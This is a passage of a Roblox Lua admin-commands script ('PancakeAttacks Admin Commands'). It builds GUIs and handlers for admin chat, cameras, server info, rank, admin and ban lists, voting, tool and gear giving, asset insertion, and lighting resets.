f.Draggable=true f.Active=true f.Position=UDim2.new(1,-900,0,50) f.Size=UDim2.new(0,100,0,50) f.ClipsDescendants=true button.BackgroundColor3=Color3.new(1,1,1) button.BorderColor3=Color3.new(0,0,0) button.BackgroundTransparency=0.5 button.Position=UDim2.new(0,85,0,2) button.Size=UDim2.new(0,13,0,13) button.Font='ArialBold' button.Text='X' button.TextColor3=Color3.new(1,1,1) button.TextStrokeTransparency=0 title.Text='Chat' title.Font='ArialBold' title.TextColor3=Color3.new(1,1,1) title.BackgroundTransparency=1 title.Position=UDim2.new(0,5,0,0) title.Size=UDim2.new(0,90,0,15) chat.BackgroundColor3=Color3.new(0,0,0) chat.BorderColor3=Color3.new(1,1,1) chat.BackgroundTransparency=0.5 chat.Position=UDim2.new(0,0,0,20) chat.Size=UDim2.new(0,100,0,30) chat.Font='ArialBold' chat.TextStrokeTransparency=0 chat.TextColor3=Color3.new(1,1,1) chat.Text='Press ; than Type and press Enter.' chat.TextScaled=true chat.TextWrapped=true title.TextScaled=true title.TextWrapped=true button.TextScaled=true chat.ClearTextOnFocus=true button.TextWrapped=true title.TextStrokeTransparency=0 button.MouseButton1Click:connect(function() pcall(function() g:Destroy() end) end) chat.FocusLost:connect(function(enterPressed) if enterPressed then if #chat.Text>0 then RemoteEvent:FireServer(']]..set.RemoteCmd..[[adminchat',chat.Text) end chat.Text='Press ; than Type and press Enter.' end end) mouse=plr:GetMouse() mouse.KeyDown:connect(function(key) if key==';' then chat:CaptureFocus() end end)]],false,set.AssignName()) set.AdminChat(plr) end if msg:lower() == "cameras" or msg:lower() == "cams" then if plr.PlayerGui:findFirstChild(GuiName.."CAMERAGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."CAMERAGUI" scr.Parent = plr.PlayerGui top.Text='Cameras' local function GrabCams(p) num=0 for i,v in pairs(set.cameras) do if (p=='all' or v.Name:lower():find(p)) then local cl = ent:clone() cl.Parent = cmf cl.Text = num.." | "..v.Name cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,300,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local kill = Instance.new("TextButton", cl) kill.Style = "Custom" kill.Size = UDim2.new(0,15,0,15) kill.TextScaled=true kill.Position = UDim2.new(1,50,0,0) kill.ZIndex = 2 kill.Font = "ArialBold" kill.FontSize = "Size18" kill.Text = "X" kill.BackgroundColor3=set['PrimaryColor'] kill.BorderColor3=set['SecondaryColor'] kill.TextColor3 = set['SecondaryColor'] kill.BackgroundTransparency=set['Transparency'] kill.MouseButton1Click:connect(function() table.remove(set.cameras, i) v:Destroy() cmf:ClearAllChildren() GrabCams('all') end) local view = Instance.new("TextButton", cl) view.Style = "Custom" view.Size = UDim2.new(0,15,0,15) view.TextScaled=true view.Position = UDim2.new(1,25,0,0) view.ZIndex = 2 view.Font = "ArialBold" view.FontSize = "Size18" view.Text = "V" view.BackgroundColor3=set['PrimaryColor'] view.BorderColor3=set['SecondaryColor'] view.TextColor3 = set['SecondaryColor'] view.BackgroundTransparency=set['Transparency'] view.MouseButton1Click:connect(function() set.LoadOnClient(plr,[[cam=game.Workspace:FindFirstChild("]]..v.Name..[[") game.Workspace.CurrentCamera.CameraType='Custom' game.Workspace.CurrentCamera.CameraSubject=cam game.Workspace.CurrentCamera.CoordinateFrame=CFrame.new(cam.Position) game.Workspace.CurrentCamera.Focus=cam.CFrame game.Workspace.CurrentCamera.FieldOfView=80]],true, set.AssignName()) end) num = num +1 end end cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end local refresh = Instance.new("TextButton", cmf.Parent) refresh.Style = "Custom" refresh.Size = UDim2.new(0,20,0,20) refresh.Position = UDim2.new(1,-75,0,5) refresh.ZIndex = 10 refresh.Font = "ArialBold" refresh.FontSize = "Size18" refresh.Text = "R" refresh.BackgroundColor3=set['PrimaryColor'] refresh.BorderColor3=set['SecondaryColor'] refresh.TextColor3 = set['SecondaryColor'] refresh.BackgroundTransparency=set['Transparency'] refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() GrabCams('all') end) local reset = Instance.new("TextButton", cmf.Parent) reset.Style = "Custom" reset.Size = UDim2.new(0,20,0,20) reset.Position = UDim2.new(1,-50,0,5) reset.ZIndex = 10 reset.Font = "ArialBold" reset.FontSize = "Size18" reset.Text = "V" reset.BackgroundColor3=set['PrimaryColor'] reset.BorderColor3=set['SecondaryColor'] reset.TextColor3 = set['SecondaryColor'] reset.BackgroundTransparency=set['Transparency'] reset.MouseButton1Click:connect(function() set.LoadOnClient(plr,[[game.Workspace.CurrentCamera.CameraType='Custom' game.Workspace.CurrentCamera.CameraSubject=game.Players.LocalPlayer.Character.Humanoid game.Workspace.CurrentCamera.FieldOfView=70]],true,set.AssignName()) end) local b=Instance.new('TextBox',cmf.Parent) b.Size=UDim2.new(0,130,0,20) b.Position=UDim2.new(0,10,0,5) b.BackgroundColor3=set['SecondaryColor'] b.BackgroundTransparency=set['Transparency'] b.TextColor3=set['TextColor'] b.TextStrokeTransparency=0 b.Text='' b.ZIndex=15 b.Font='ArialBold' b.TextScaled=true b.TextWrapped=true b.Changed:connect(function(o) if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then cmf:ClearAllChildren() num=0 GrabCams(b.Text) elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then cmf:ClearAllChildren() num=0 GrabCams('all') end end) GrabCams('all') end if msg:lower():sub(1,8) == "makecam " then coroutine.wrap(function() if plr and plr.Character and plr.Character:FindFirstChild('Head') then print('Checkelect') if workspace:FindFirstChild('Camera: '..msg:sub(9)) then set.Hint(msg:sub(9).." Already Exist!",{plr}) print('O it already exist qq') else print('Makin cam') local cam=Instance.new('Part',workspace) cam.Position=plr.Character.Head.Position cam.Anchored=true cam.BrickColor=BrickColor.new('Really black') cam.CanCollide=false cam.Locked=true cam.FormFactor='Custom' cam.Size=Vector3.new(1,1,1) cam.TopSurface='Smooth' cam.BottomSurface='Smooth' cam.Name='Camera: '..msg:sub(9) Instance.new('PointLight',cam) cam.Transparency=0.9 local mesh=Instance.new('SpecialMesh',cam) mesh.Scale=Vector3.new(1,1,1) mesh.MeshType='Sphere' table.insert(set.cameras,cam) end end end)() end if msg:lower():sub(1,5) == 'view ' then coroutine.wrap(function() local plz=set.GetPlayers(plr, msg:lower():sub(6)) for i,v in pairs(plz) do if v and v.Character:FindFirstChild('Humanoid') then set.LoadOnClient(plr,[[cam=game.Workspace:FindFirstChild("]]..v.Character.Name..[[") game.Workspace.CurrentCamera.CameraType='Track' game.Workspace.CurrentCamera.CameraSubject=cam.Humanoid game.Workspace.CurrentCamera.FieldOfView=70]],true,set.AssignName()) end end end)() end if msg:lower()=='resetview' or msg:lower()=='rv' then set.LoadOnClient(plr,[[game.Workspace.CurrentCamera.CameraType='Custom' game.Workspace.CurrentCamera.CameraSubject=game.Players.LocalPlayer.Character.Humanoid game.Workspace.CurrentCamera.FieldOfView=70]],true,set.AssignName()) end if msg:lower()=='map' then set.LoadOnClient(plr,[[ local p=Instance.new('Part',game.Workspace) p.Locked=true p.Transparency=1 p.Anchored=true p.Size=Vector3.new(0.1,0.1,0.1) p.CanCollide=false p.CFrame=game.Players.LocalPlayer.Character.Head.CFrame+Vector3.new(0,50,0) local cam=game.Workspace.CurrentCamera cam.FieldOfView=80 cam.CameraType='Follow' cam.CameraSubject=p game.Players.LocalPlayer.Character.Torso.Anchored=true local k local run Mouse=game.Players.LocalPlayer:GetMouse() local ff=Instance.new('ForceField',game.Players.LocalPlayer.Character) function onKeyDown(key) run=true repeat wait() print(key) k=key if key=='a' then p.CFrame=p.CFrame+Vector3.new(5,0,0) elseif key=='d' then p.CFrame=p.CFrame+Vector3.new(-5,0,0) elseif key=='w' then p.CFrame=p.CFrame+Vector3.new(0,0,5) elseif key=='s' then p.CFrame=p.CFrame+Vector3.new(0,0,-5) elseif key=='e' then p.CFrame=p.CFrame+Vector3.new(0,5,0) elseif key=='q' then p.CFrame=p.CFrame+Vector3.new(0,-5,0) elseif key=='x' then p:Destroy() cam.CameraType='Custom' cam.CameraSubject=game.Players.LocalPlayer.Character.Humanoid game.Players.LocalPlayer.Character.Torso.Anchored=false if ff then ff:Destroy() end script:Destroy() end until run==false end function onKeyUp(key) if key==k then run=false end end function buttonDown() game.Players.LocalPlayer.Character.Torso.CFrame=Mouse.Hit+Vector3.new(0,5,0) end Mouse.KeyDown:connect(onKeyDown) Mouse.KeyUp:connect(onKeyUp) Mouse.Button1Down:connect(buttonDown) ]],false,set.AssignName()) end if msg:lower() == "ranks" or msg:lower() == "adminranks" then if plr.PlayerGui:findFirstChild(GuiName.."RANKSGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."RANKSGUI" scr.Parent = plr.PlayerGui top.Text='Ranks With Admin' for i,v in pairs(set['SpecificRanks']) do if v then local cl = ent:Clone() cl.Parent = cmf if v.Rank and v.Type then cl.Text = num.." | "..v.Rank..' - '..v.Type else cl.Text = num.." | "..v end cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 end end cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end if msg:lower() == "details" or msg:lower() == "meters" or msg:lower()=='serverinfo' then if plr.PlayerGui:findFirstChild(GuiName.."DETAILSGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."DETAILSGUI" scr.Parent = plr.PlayerGui top.Text='Server Information' local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Owner: '..game:service('MarketplaceService'):GetProductInfo(game.PlaceId).Creator.Name cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Place: '..game:service('MarketplaceService'):GetProductInfo(game.PlaceId).Name cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf coroutine.wrap(function() repeat cl.Text = 'Players: '..#game.Players:children() wait(1) until cl.Parent==nil end)() cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf coroutine.wrap(function() repeat local nilplayers=0 for i,v in pairs(game:service('NetworkServer'):children()) do if v and v:GetPlayer() and not game.Players:FindFirstChild(v:GetPlayer().Name) then nilplayers=nilplayers+1 end end cl.Text = 'Nil Players: '..nilplayers wait(1) until cl.Parent==nil end)() cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf coroutine.wrap(function() repeat cl.Text='Server Speed: '..set.Round(1/getfenv(0).Wait()) wait(1) until cl.Parent==nil end)() cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf coroutine.wrap(function() repeat cl.Text='Your Ping: '..set.Ping(plr)..'s' wait(1) until cl.Parent==nil end)() cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf coroutine.wrap(function() repeat cl.Text='Workspace objects: '..#game.Workspace:children() wait(5) until cl.Parent==nil end)() cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf cl.Text='Owner Id: '..game.CreatorId cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf cl.Text='Place Id: '.. game.PlaceId cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf cl.Text='Place version: '..game.PlaceVersion cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf cl.Text='Script version: '..version cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf cl.Text='Server Start Time: '..serverstarttime cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf coroutine.wrap(function() repeat cl.Text='Current Time: '..set.GetTime() wait(1) until cl.Parent==nil end)() cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf coroutine.wrap(function() repeat cl.Text='TimeOfDay: '..game:service('Lighting').TimeOfDay wait(1) until cl.Parent==nil end)() cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf coroutine.wrap(function() repeat local nonnumber=0 for i,v in pairs(game:service('NetworkServer'):children()) do if v and v:GetPlayer() and not set.ChkAdmin(v:GetPlayer().Name,false) then nonnumber=nonnumber+1 end end cl.Text='Non-Admins In-Game: '..nonnumber wait(1) until cl.Parent==nil end)() cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf coroutine.wrap(function() repeat local adminnumber=0 for i,v in pairs(game:service('NetworkServer'):children()) do if v and v:GetPlayer() and set.ChkAdmin(v:GetPlayer().Name,false) then adminnumber=adminnumber+1 end end cl.Text='Admins In-Game: '..adminnumber wait(1) until cl.Parent==nil end)() cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf coroutine.wrap(function() repeat cl.Text='Admin objects: '..#set.objects wait(1) until cl.Parent==nil end)() cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 local cl = ent:Clone() cl.Parent = cmf coroutine.wrap(function() repeat cl.Text='Admin cameras: '..#set.cameras wait(1) until cl.Parent==nil end)() cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end if msg:lower() == "changeloggui" or msg:lower()=='changelogs' or msg:lower()=='changelog' then if plr.PlayerGui:findFirstChild(GuiName.."CHANGELOGGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."CHANGELOGGUI" scr.Parent = plr.PlayerGui top.Text='Change Log' for i,v in pairs(changelog) do local cl = ent:Clone() cl.Parent = cmf cl.Text=v cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,380,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 end cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end if msg:lower() == "allplayers" or msg:lower()=='players' or msg:lower()=='playerlist' then if plr.PlayerGui:findFirstChild(GuiName.."ALLPLAYERSGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."ALLPLAYERSGUI" scr.Parent = plr.PlayerGui top.Text='Player List' local function playerlist(p) num=0 for i,v in pairs(set.GrabNilPlayers('all')) do if (v.Name:lower():sub(1,#p)==p:lower() or p:lower()=='all') then local cl = ent:Clone() cl.Parent = cmf if game.Players:FindFirstChild(v.Name) then cl.Text = v.Name..' ('..v.Name:lower()..') Ping: Pinging...' coroutine.wrap(function() repeat cl.Text = v.Name..' ('..v.Name:lower()..') Ping: '..set.Ping(v)..'s' wait(1) until not cl end)() else cl.Text = '(NIL) '..v.Name..' ('..v.Name:lower()..') Ping: ' coroutine.wrap(function() repeat cl.Text = '(NIL) '..v.Name..' ('..v.Name:lower()..') Ping: '..set.Ping(v)..'s' wait(1) until not cl.Parent end)() end cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,380,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) num = num +1 end end end local b=Instance.new('TextBox',cmf.Parent) b.Size=UDim2.new(0,130,0,20) b.Position=UDim2.new(0,10,0,5) b.BackgroundColor3=set['SecondaryColor'] b.BackgroundTransparency=set['Transparency'] b.TextColor3=set['TextColor'] b.TextStrokeTransparency=0 b.Text='' b.ZIndex=15 b.Font='ArialBold' b.TextScaled=true b.TextWrapped=true b.Changed:connect(function(o) if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then cmf:ClearAllChildren() playerlist(b.Text) elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then cmf:ClearAllChildren() playerlist('all') end end) local refresh = Instance.new("TextButton", cmf.Parent) refresh.Style = "Custom" refresh.Size = UDim2.new(0,20,0,20) refresh.Position = UDim2.new(1,-50,0,5) refresh.ZIndex = 10 refresh.Font = "ArialBold" refresh.FontSize = "Size18" refresh.Text = "R" refresh.BackgroundColor3=set['PrimaryColor'] refresh.BorderColor3=set['SecondaryColor'] refresh.TextColor3 = set['SecondaryColor'] refresh.BackgroundTransparency=set['Transparency'] refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() playerlist('all') end) playerlist('all') end if msg:lower() == "version" then set.Message("PancakeAttacks Admin Commands", tostring(set.version), true, {plr}) end if msg:lower() == "admins" or msg:lower() == "adminlist" then if plr.PlayerGui:findFirstChild(GuiName.."ADMINSGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."ADMINSGUI" scr.Parent = plr.PlayerGui top.Text='Admin List' for i, v in pairs(set['Owners']) do if v:lower() ~= set.nfs then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end for i, v in pairs(set['Admins']) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end for i, v in pairs(set['TempAdmins']) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then if plr.PlayerGui:findFirstChild(GuiName.."BANSGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."BANSGUI" scr.Parent = plr.PlayerGui top.Text='Ban List' local function banlistdisplay(p) num=0 for i,v in pairs(set['BanList']) do if (v:lower():find(p) or p=='all') then local cl = ent:Clone() cl.Parent = cmf cl.Text = num.." | "..v cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 end end cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end banlistdisplay('all') local b=Instance.new('TextBox',cmf.Parent) b.Size=UDim2.new(0,130,0,20) b.Position=UDim2.new(0,10,0,5) b.BackgroundColor3=set['SecondaryColor'] b.BackgroundTransparency=set['Transparency'] b.TextColor3=set['TextColor'] b.TextStrokeTransparency=0 b.Text='' b.ZIndex=15 b.Font='ArialBold' b.TextScaled=true b.TextWrapped=true b.Changed:connect(function(o) if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then cmf:ClearAllChildren() banlistdisplay(b.Text) elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then cmf:ClearAllChildren() banlistdisplay('all') end end) end if msg:lower():sub(1,5)=='vote ' then if set['FilteringEnabled'] then return end coroutine.wrap(function() local chk1 = msg:lower():sub(6):find(" ") + 5 local chk2 = msg:sub(chk1+1):find(" ") + chk1 local plrz = set.GetPlayers(plr, msg:lower():sub(6, chk1-1)) local Time=tonumber(msg:sub(chk1+1,chk2-1)) local question=msg:sub(chk2+1) if Time > 60 then Time = 60 end local num=1 local Yes=0 local No=0 local novote={} local voten=num for i,player in pairs(plrz) do coroutine.wrap(function() table.insert(novote, player) local Voted=false local gui=Instance.new('ScreenGui',player.PlayerGui) gui.Name=GuiName..'VOTE' local frame=Instance.new('Frame',gui) local yes=Instance.new('TextButton',frame) local no=Instance.new('TextButton',frame) local q=Instance.new('TextLabel',frame) local t=Instance.new('TextLabel',frame) frame.Position=UDim2.new(0,350,0,50) frame.Size=UDim2.new(0,300,0,200) frame.BackgroundTransparency=set['Transparency'] frame.BackgroundColor3=set['PrimaryColor'] frame.Draggable=true frame.Active=true yes.Position=UDim2.new(0,20,0,130) yes.Size=UDim2.new(0,100,0,50) yes.BackgroundColor3=Color3.new(0,85,0) yes.Font='ArialBold' yes.FontSize='Size14' yes.Text='Yes' yes.TextColor3=Color3.new(1,1,1) yes.TextScaled=true yes.TextWrapped=true no.Position=UDim2.new(0,180,0,130) no.Size=UDim2.new(0,100,0,50) no.BackgroundColor3=Color3.new(170,0,0) no.Font='ArialBold' no.FontSize='Size14' no.Text='No' no.TextColor3=Color3.new(1,1,1) no.TextScaled=true no.TextWrapped=true q.Position=UDim2.new(0,10,0,25) q.Size=UDim2.new(0,280,0,90) q.BackgroundTransparency=1 q.Text=question q.Font='ArialBold' q.TextColor3=set['TextColor'] q.TextWrapped=true q.TextScaled=true t.Position=UDim2.new(0,10,0,10) t.Size=UDim2.new(0,280,0,10) t.BackgroundTransparency=1 t.TextColor3=set['TextColor'] t.TextWrapped=false t.TextScaled=false t.Font='ArialBold' t.FontSize='Size14' t.Text='Time Left: '..Time..' second(s)' yes.MouseButton1Click:connect(function() Yes=Yes+1 Voted=true gui:Destroy() for k,m in pairs(novote) do if m.userId==player.userId then table.remove(novote, k) end end end) no.MouseButton1Click:connect(function() No=No+1 Voted=true gui:Destroy() for k,m in pairs(novote) do if m.userId==player.userId then table.remove(novote, k) end end end) for i = 0,Time do if voten == num then t.Text = "Time left: "..Time-i.." second(s)" else t.Text = "Voting Over!" wait(1) gui:Destroy() break end wait(1) end if gui ~= nil then gui:Destroy() end end)() end wait(Time+1) coroutine.wrap(function() if plr.PlayerGui then local gui=Instance.new('ScreenGui',plr.PlayerGui) gui.Name=GuiName..'RESULTS' local frame=Instance.new('Frame',gui) frame.BackgroundColor3=set['PrimaryColor'] frame.BackgroundTransparency=set['Transparency'] frame.Position=UDim2.new(0,400,0,50) frame.Size=UDim2.new(0,200,0,100) frame.Draggable=true frame.Active=true local nyes=Instance.new('TextLabel',frame) nyes.BackgroundTransparency=1 nyes.Position=UDim2.new(0,10,0,50) nyes.Size=UDim2.new(0,70,0,10) nyes.Font='ArialBold' nyes.FontSize='Size14' nyes.TextColor3=Color3.new(0,1,0) nyes.Text='Number of Yes:' nyes.TextScaled=true nyes.TextWrapped=true local nno=Instance.new('TextLabel',frame) nno.BackgroundTransparency=1 nno.Position=UDim2.new(0,120,0,50) nno.Size=UDim2.new(0,70,0,10) nno.Font='ArialBold' nno.FontSize='Size14' nno.TextColor3=Color3.new(1,0,0) nno.Text='Number of No:' nno.TextScaled=true nno.TextWrapped=true local qr=Instance.new('TextLabel',frame) qr.Position=UDim2.new(0,5,0,5) qr.Size=UDim2.new(0,190,0,35) qr.BackgroundTransparency=1 qr.Font='ArialBold' qr.Text='Results For: '..question qr.TextColor3=Color3.new(1,1,1) qr.TextScaled=true qr.TextWrapped=true local yes=Instance.new('TextLabel',frame) yes.BackgroundTransparency=1 yes.Position=UDim2.new(0,10,0,70) yes.Size=UDim2.new(0,70,0,20) yes.Font='ArialBold' yes.FontSize='Size14' yes.Text=Yes.." | "..set.Round(Yes/#plrz*100).."%" yes.TextColor3=Color3.new(0,1,0) yes.TextWrapped=false local none=Instance.new('TextLabel',frame) none.BackgroundTransparency=1 none.Font='ArialBold' none.FontSize='Size14' none.TextColor3=Color3.new(70/255,70/255,70/255) none.Text=#novote.." | "..set.Round(#novote/#plrz*100).."%" none.Position=UDim2.new(0,65,0,70) none.Size=UDim2.new(0,70,0,20) none.TextWrapped=false local no=Instance.new('TextLabel',frame) no.BackgroundTransparency=1 no.Position=UDim2.new(0,120,0,70) no.Size=UDim2.new(0,70,0,20) no.Font='ArialBold' no.FontSize='Size14' no.Text=No.." | "..set.Round(No/#plrz*100).."%" no.TextColor3=Color3.new(1,0,0) no.TextWrapped=false wait(10) gui:remove() end end)() end)() end if msg:lower() == "tools" or msg:lower() == "toollist" then if plr.PlayerGui:findFirstChild(GuiName.."TOOLSGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."TOOLSGUI" scr.Parent = plr.PlayerGui top.Text='Tool List' for i, v in pairs(game:service('Lighting'):children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end if msg:lower():sub(1,4) == "ins " then coroutine.resume(coroutine.create(function() local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5))) if obj and #obj:children() >= 1 and plr.Character then table.insert(set.objects, obj) for i,v in pairs(obj:children()) do table.insert(set.objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p) end end)) end if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "cleargame" then for i,v in pairs(set.objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end for i,v in pairs(set.cameras) do if v then table.remove(set.cameras,i) v:Destroy() end end set.RemoveMessage() set.objects = {} for i,v in pairs(game:service('Workspace'):children()) do if v:IsA('Message') or v:IsA('Hint') then v:Destroy() end if v.Name:match('Pancake Probe (.*)') then v:Destroy() end end end if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" or msg:lower() == "resetlighting" then set.lighttask=false wait(0.5) game:service('Lighting').Ambient = origsettings.abt game:service('Lighting').GlobalShadows = origsettings.gs game:service('Lighting').ShadowColor = origsettings.sc game:service('Lighting').Outlines = origsettings.ol game:service('Lighting').OutdoorAmbient = origsettings.oabt game:service('Lighting').Brightness = origsettings.brt game:service('Lighting').TimeOfDay = origsettings.time game:service('Lighting').FogColor = origsettings.fclr game:service('Lighting').FogEnd = origsettings.fe game:service('Lighting').FogStart = origsettings.fs end if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" or msg:lower()=="cgui" or msg:lower()=="cg" then coroutine.resume(coroutine.create(function() for i,v in pairs(plr.PlayerGui:children()) do if v.Name == GuiName.."CMDBAR" then v:Destroy() end end set.CmdBar(plr) end)) end if msg:lower():sub(1,10) == "countdown " then local num = math.min(tonumber(msg:sub(11)),120) for i = num, 1, -1 do coroutine.resume(coroutine.create(function() set.Message("Countdown", i, false, game.Players:children(), 1) end)) wait(1) end end if msg:lower():sub(1,3) == "tm " then local chk1 = msg:lower():sub(4):find(" ") + 3 local num = tonumber(msg:sub(4,chk1-1)) set.Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num) end if msg:lower():sub(1,2) == "m " then set.Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children()) end if msg:lower():sub(1,2) == "h " then set.Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children()) end if msg:lower():sub(1,5) == "info " then local plz = set.GetPlayers(plr, msg:lower():sub(6)) for i,v in pairs(plz) do coroutine.wrap(function() set.GetPlayerInfo(v,{plr},'Player Info') end)() end end if msg:lower():sub(1,11) == "resetstats " then local plrz = set.GetPlayers(plr, msg:lower():sub(12)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("leaderstats") then for a, q in pairs(v.leaderstats:children()) do if q:IsA("IntValue") then q.Value = 0 end end end end)) end end if msg:lower():sub(1,5) == "gear " then local chk1 = msg:lower():sub(6):find(" ") + 5 local plrz = set.GetPlayers(plr, msg:lower():sub(6, chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("Backpack") then local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1))) for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end obj:Destroy() end end)) end end if msg:lower():sub(1,5) == "sell " then local chk1 = msg:lower():sub(6):find(" ") + 5 local chk2 = msg:sub(chk1+1):find(" ") + chk1 local plrz = set.GetPlayers(plr, msg:lower():sub(6, chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() local type = 